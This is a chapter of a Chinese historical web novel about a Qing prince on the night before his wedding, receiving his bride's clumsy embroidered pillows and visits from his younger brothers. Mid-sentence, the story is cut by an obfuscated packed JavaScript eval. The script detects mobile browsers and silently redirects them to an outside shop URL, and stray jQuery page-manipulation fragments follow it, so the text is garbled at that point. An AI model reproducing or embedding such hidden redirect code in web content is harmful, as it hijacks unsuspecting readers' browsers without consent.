康熙三十五年三月初五，傍晚。
胤祉一个人坐在院子里，老槐树的枝丫还没发芽，光秃秃的，但枝头已经鼓起了米粒大小的嫩芽，在暮色中看不太真切。枣树苗长到快三尺高了，枝干比去年粗了一倍，树皮从嫩绿变成了浅褐，上面布满了细密的纹路。它站在老槐树旁边，像个小弟弟，又瘦又小，但笔直。
夕阳从西边照过来，把整座院子染成一片橘红色。白墙变成了淡金色，青瓦上泛着暖光，连那两株腊梅——已经谢了，光秃秃的——都被镀上了一层柔和的光晕。远处传来乌鸦归巢的叫声，哑哑的，一阵一阵的，衬得这傍晚格外安静。
胤祉坐在石凳上，手里攥着一个小布包，没打开，就那么攥着。布包是昭宁上午让人送来的，说是“给三爷的东西，明天再打开”。他攥了很久，最后还是没忍住，解开了系绳。
里面是一对枕头。大红色的绸面，绣着鸳鸯。鸳鸯的眼睛一大一小，翅膀的羽毛歪歪扭扭的，一只鸳鸯的嘴巴绣成了三角形，另一只的尾巴少了几针，露出底下的白绸。针脚不均匀，有的地方密有的地方疏，但能看出来绣的人很用心——每一针都扎得很深，线拉得很紧，没有一处是松的。
枕头下面压着一张纸条。纸条上的字迹娟秀工整，一笔一划写得端端正正：“三爷，我绣了一年。不好看，但很结实。你凑合用。”
胤祉把纸条看了两遍，折好，塞进袖子里。然后把枕头重新包好，放在石桌上。他盯着那对枕头看了一会儿，一只鸳鸯的眼睛歪了，看着像是在翻白眼。他忍不住笑了一下。
小路子从廊下探出头，手里捧着一件大红色的吉服，小心翼翼地问：“三阿哥，吉服熨好了，您要不要再试试？”
“不用了。早上试过了。”
“那靴子呢？奴才再给您擦一遍？”
“擦过了。”
“那——”小路子挠了挠头，想不出还有什么要做的了，“那奴才去烧水，您晚上泡个澡，明儿个一早起来就换衣裳。”
“去吧。”
小路子应了一声，缩回去了。
胤祉站起来，在院子里走了一圈。正房的门窗都重新刷了漆，朱红色的，在夕阳下亮得晃眼。窗户上贴着大红喜字，剪纸是荣妃亲手铰的，“囍”字端端正正的，笔画匀称，边角整齐，一看就是练过很多遍的。廊下挂着两盏红灯笼，还没点，但明天晚上就会亮起来。院子里铺了新的石板，缝隙里填了灰浆，踩上去平平整整的，不像以前那样坑坑洼洼。
他走到正房门口，推门进去。
屋里已经布置好了。屏风摆在进门处，紫檀木的框架，绣着大朵大朵的牡丹，红的粉的层层叠叠，在暮色中像真花一样。帐子是藕荷色的软烟罗，透光不透人，风吹过来微微飘动。墙上挂了两幅画，一幅花鸟一幅山水，都是荣妃挑的。窗台上摆着几盆水仙，开了一半，白色的花瓣黄色的蕊，香气淡淡的。炕桌上铺了一块淡蓝色的桌布，上面放着一套青花瓷的茶具，干干净净的。
床上的被褥是大红色的，绣着鸳鸯戏水。枕头一对——宫里备的那对，绣工精致，鸳鸯栩栩如生。昭宁送的那对，他打算放在里侧，自己用。
他在床沿上坐了一下。床板硬邦邦的，铺了好几层褥子，但还是硬。他摸了摸被面，绸缎滑溜溜的，凉丝丝的。被子是新弹的棉花，蓬蓬松松的，叠得整整齐齐。
他坐了一会儿，站起来，走到窗前，推开窗。院子里那棵枣树苗在暮色中只剩下一个模糊的影子，但他知道它在那里。他看了好一会儿，然后关窗，出了门。
回到院子里，他在石凳上又坐了下来。石凳凉飕飕的，但他没在意。他仰头看着天，天边的最后一抹光正在消失，从橘红变成暗紫，从暗紫变成灰蓝。星星还没出来，月亮也没出来，天空像一块巨大的深蓝色幕布，什么也没有。
他想起八年前，也是这样的傍晚，在慈宁宫。她追出来，扎着两个小揪揪，手里攥着一块点心，仰着脸说：“你以后要来找我玩啊。”她的眼睛黑亮黑亮的，像两颗刚洗过的葡萄。两个小揪揪在暮色中像两只蝴蝶，一颤一颤的。
那时候他十一，她九岁。他没想到，这个追出来喊话的小丫头，会成为他的人。更没想到，从那一刻到现在，已经过去了八年。
八年。他读了无数本书，写了无数封信，下了一次直隶，认识了大半个朝堂的人。她的信从歪歪扭扭到娟秀工整，画从麦苗变成柿子树变成鸳鸯，骑马从抱着马脖子喊救命到能稳稳当当地跑。他们见过几次面？五六次？七八次？每次都不超过半个时辰，说的话加起来不如一封信多。
但够了。有些人，不用见很多面，你就知道她是对的。
小路子端着热水从廊下走过，看见胤祉一个人坐在暮色里，停下来，小心翼翼地问：“三阿哥，您怎么坐外头？天快黑了，冷。”
“没事。你忙你的。”
小路子犹豫了一下，还是走了。院子里又安静下来。
胤祉站起来，走到枣树苗旁边，蹲下来看了看。土有点干了，他拿起小水壶，浇了一点水。水渗进土里，发出细微的滋滋声。他用手拨了拨根部的土，根系已经扎得很深了，细根在土里蔓延开来，牢牢地抓着大地。
“明天她就来了。”他轻声说。
树苗在风中晃了晃叶子，像是听懂了，又像是没听懂。
天彻底黑了。小路子点上了廊下的灯笼，橘黄色的光照在院子里，把老槐树的影子投在地上，像一幅墨色的画。胤祉回到屋里，在书案前坐下。桌上摆着笔墨纸砚，还有一沓信纸。
他铺开一张纸，提起笔。想写点什么，又不知道写什么。明天她就来了，有什么话当面说就行了，写信做什么？但他还是想写。有些话当面说不出口，写在纸上反而容易。
他想了想，写了一行字：“昭宁，明天你就是我的人了。不是三阿哥的福晋，是我的人。我会对你好的。一辈子。”
写完之后看了看，觉得太直白了，像在发誓。他把纸折好，没有装进信封，而是塞进了枕头底下——昭宁绣的那对枕头，他放在床上了。
门外传来脚步声。小路子的声音：“三阿哥，四阿哥来了。”
胤祉站起来，整理了一下衣袍。门被推开，胤禛走进来，手里提着一个食盒。他穿着一件月白色的棉袍，没戴帽子，头发束得紧紧的，露出一截清瘦的脖颈。他的脸在灯光下显得有些苍白，但眼睛是亮的。
“三哥。”他把食盒放在桌上，“芝麻烧饼。御膳房刚出炉的，我多要了一份。”
胤祉打开食盒，烧饼还是热的，芝麻的香气扑了满脸。他拿出一个，掰了一半递给胤禛。两个人坐在书案前，你一口我一口地吃。
“三哥，明天你成亲了。”胤禛嚼着烧饼，含混地说。
“嗯。”
“紧张吗？”
胤祉想了想，说：“不紧张。”
“骗人。”胤禛看了他一眼，“你说话的时候手指在桌上叩，你紧张的时候就这样。”
胤祉低头看了看自己的手——手指确实在桌上叩着，一下一下的。他把手放下来，压在膝盖下面。
“有点。”他说。
胤禛嘴角弯了一下，没再说。他把最后一口烧饼咽下去，拍了拍手上的芝麻。
“三哥，我明天喝真酒。”
“你十四了，可以喝一点。”
“不是一点。”胤禛说，“是敬你的时候喝一杯。多了不喝。”
胤祉笑了笑，没说话。两个人坐着，喝茶，吃烧饼，有一搭没一搭地说话。胤禛问起新房的布置，胤祉给他指了指屏风和帐子，胤禛站起来看了看，说“屏风上的牡丹绣得不错”。
“荣妃娘娘挑的。”
“荣妃娘娘眼光好。”
坐了小半个时辰，胤禛站起来告辞。走到门口，他忽然停下来，没有回头。
“三哥，明天你成亲了，以后就是大人了。”
“你说过了。”
“再说一遍。”胤禛的声音低了一些，“怕你忘了。”
他推门出去了。脚步声在廊下渐渐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616052|203971||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
远去。
胤祉坐在书案前，看着关上的门。他想起几年前，四弟还是个不爱说话的孩子，站在宫墙下，手里攥着一卷书，目光落在他身上，想靠近又不敢靠近。现在四弟十四了，个子长高了，话还是不多，但至少，他愿意来找他说说话了。
他笑了一下，又拿起了一个烧饼。
又过了一阵，门外又传来脚步声。这回不是一个人，是一串——噼里啪啦的，像是什么人在跑。门被一把推开，胤祺冲了进来，穿着一件大红色的棉袍，脸跑得红扑扑的，头发都散了。
“三哥！三哥！”他喘着气，弯着腰，手撑着膝盖，“皇玛嬷说让我来看看你，说你明天成亲了，今晚别紧张！”
“我不紧张。”
“不紧张就好！”胤祺直起身，眼睛在屋里转了一圈，看见桌上的烧饼，伸手就拿了一个，咬了一大口，“三哥，你明天穿什么？我明天穿那件大红色的蟒袍，皇玛嬷说我穿着好看！”
“你穿什么都好看。”
“那当然！”胤祺嚼着烧饼，含混不清地说，“三哥，三嫂明天就来了，她以后住哪儿？住这间屋子？”
“嗯。”
“那我以后来找你玩，会不会打扰你们？”
胤祉愣了一下，然后笑了：“不会。你随时来。”
“那就好！”胤祺把剩下的烧饼塞进嘴里，拍了拍手，“三哥，我回去了。皇玛嬷说让我早点睡，明天一大早就要起来。”他走到门口，又探回头来，“三哥，你早点睡，别熬夜！”
“知道了。”
胤祺跑了。脚步声噼里啪啦的，越来越远，最后消失在院门口。
胤祉坐在书案前，看了看桌上的烧饼——还剩下两个。他把它们包好，放在一边，明天早上吃。
他站起来，走到窗前，推开窗。夜风灌进来，凉飕飕的，带着一股初春特有的腥甜气息。院子里那棵枣树苗在月光下显得很小，细细的，但笔直。月光照在它嫩绿的叶子上，泛着淡淡的银光。老槐树的枝丫还是光秃秃的，但仔细看，枝头已经冒出了米粒大小的嫩芽。
他看了一会儿，然后关窗，转身，吹了灯，躺到床上。
被子里凉飕飕的，他蜷着身子，把被子裹紧。枕头上有一股淡淡的桂花香——昭宁绣的那对枕头，他放在床上了，头一偏就能闻到。他闻着那香气，脑子里乱七八糟的。想着明天穿吉服的样子，想着骑马去迎亲的路线，想着拜堂的时候会不会出错，想着挑盖头的时候手会不会抖。想了很多，又什么都没想明白。
窗外的月亮慢慢移动，从这边移到那边，清辉如水，洒在窗台上，薄薄的一层，像霜。远处传来打更的梆子声，一慢三快，三更天了。
他翻了个身，把脸埋进枕头里。桂花的香气钻进鼻腔，甜丝丝的，像昭宁信纸上熏过的那种香。他深深地吸了一口，然后慢慢地呼出去。
明天。她来了。
他闭上眼睛，嘴角翘着，慢慢地、慢慢地睡了过去。
梦里，他穿着吉服，骑着白马，迎亲的队伍浩浩荡荡。唢呐声、锣鼓声震天响，红绸在风中飘扬。到了董鄂府，昭宁被喜娘扶着出来，红盖头遮住了脸，凤冠上的流苏在风中轻轻晃动。他牵着红绸的另一端，把她引上花轿。
花轿里，她忽然掀开盖头的一角，露出一双亮晶晶的眼睛，冲他眨了眨眼。
“三爷，你来了。”
“来了。”
“我等了好久了。”
“我知道。”
她笑了一下，把盖头放下来，安安静静地坐在花轿里。轿帘垂下来，什么都看不见了。
他骑在马上，时不时回头看一眼花轿。
然后他醒了。天还没亮，窗纸上还是灰蒙蒙的一片。他躺在被窝里，盯着帐顶看了好一会儿。帐子是藕荷色的软烟罗，在晨光中像一层薄薄的雾。
他笑了一下，然后坐起来，掀开被子，下了床。
门外传来小路子的声音：“三阿哥，该起了！今儿个您大婚！”
天亮了。